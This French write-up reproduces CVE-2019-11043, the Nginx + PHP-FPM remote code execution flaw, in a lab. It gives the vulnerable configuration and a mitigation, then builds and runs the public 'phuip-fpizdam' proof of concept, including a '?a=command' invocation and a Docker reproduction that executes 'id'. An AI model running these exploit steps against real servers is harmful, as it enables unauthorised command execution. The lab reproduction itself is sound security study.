
CVE-2019-11043 Exécution de code à distance PHP
Le 26 septembre, PHP a publié un avis de vulnérabilité, indiquant que les serveurs utilisant Nginx + php-fpm, sous certaines configurations, présentent une vulnérabilité d'exécution de code à distance. Cette configuration étant largement utilisée, le danger est élevé.
Le PoC de la vulnérabilité a été divulgué le 22 octobre, et les médias de sécurité nationaux ont émis des alertes en temps opportun.
Lorsque Nginx traite des requêtes contenant %0a avec fastcgi_split_path_info, PATH_INFO devient vide en raison du saut de ligne \n. PHP-fpm, lorsqu'il traite un PATH_INFO vide, présente un défaut logique. Un attaquant peut, par construction et exploitation minutieuses, provoquer une exécution de code à distance.
Les serveurs utilisant Nginx + php-fpm avec la configuration suivante peuvent être vulnérables à l'exécution de code à distance.
location ~ [^/]\.php(/|$) {
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
Sans impact sur les opérations normales, supprimez les configurations suivantes du fichier de configuration Nginx :
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
Ce POC utilise l'optimisation dans la variable FastCGI _fcgi_data_seg, qui n'est présente que dans PHP7. Par conséquent, l'exploit publié n'est efficace que sous PHP7. Sous PHP5, un exploit différent est nécessaire.
Configurez l'environnement, mettez en place nginx + php-fpm, et vérifiez que le fonctionnement est correct.
Téléchargez php7, décompressez et entrez dans le répertoire
wget -c http://cn2.php.net/distributions/php-7.2.4.tar.gz
tar -xzvf php-7.2.4.tar.gz
Installez les paquets de dépendances liés à la compression, SSL, etc.
yum install -y libxml2*
yum install -y openssl*
yum install -y libcurl*
yum install -y libjpeg*
yum install -y libpng*
yum install -y freetype*
yum install -y libmcrypt*
configure, compilez le code source
./configure --prefix=/usr/local/php --with-config-file-path=/usr/local/php/etc --with-mysqli --with-pdo-mysql --with-iconv-dir --with-freetype-dir --with-jpeg-dir --with-png-dir --with-zlib --with-libxml-dir --enable-simplexml --enable-xml --disable-rpath --enable-bcmath --enable-soap --enable-zip --with-curl --enable-fpm --with-fpm-user=www --with-fpm-group=www --enable-mbstring --enable-sockets --with-gd --with-openssl --with-mhash --enable-opcache --disable-fileinfo
make & make install
Configurez php-fpm. Si plusieurs PHP sont configurés, vous pouvez modifier le port 9000 en 9001
Modifier le fichier de configuration php-fpm :
$ cd /usr/local/php/etc
$ cp php-fpm.conf.default php-fpm.conf
$ vi php-fpm.conf
Supprimer le point-virgule devant pid = run/php-fpm.pid
$ cd php-fpm.d
$ cp www.conf.default www.conf (modifier le port)
$ vi www.conf
Modifier l'utilisateur et le groupe en un utilisateur non-root
./php-fpm
Ajoutez la configuration suivante dans nginx.conf :
location ~ [^/]\.php(/|$) {
root /opt/apache/www;
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass 127.0.0.1:9001;
include fastcgi_params;
}
Redémarrez nginx.
Installez Go, compilez le code POC
go get github.com/neex/phuip-fpizdam (le fichier est téléchargé dans le répertoire src de Go)
go build github.com/neex/phuip-fpizdam (chemin complet, génère le fichier exécutable dans le répertoire courant)
Exécutez le POC
./phuip-fpizdam http://website.com/index.php
./phuip-fpizdam http://website.com/index.php?a=command
[Malheureusement, en raison d'un problème inconnu dans la configuration de l'environnement, la vérification a échoué]
2019/10/29 01:13:19 Detect() returned error: no qsl candidates found, invulnerable or something wrong
Lien original : https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043
Téléchargez le fichier du projet Docker
docker-compose up -d pour exécuter le conteneur Docker

Exécutez le programme, l'exécution réussie s'affiche. Utilisez la vulnérabilité pour exécuter la commande 'id'


Arrêtez le service Docker
docker ps
docker stop id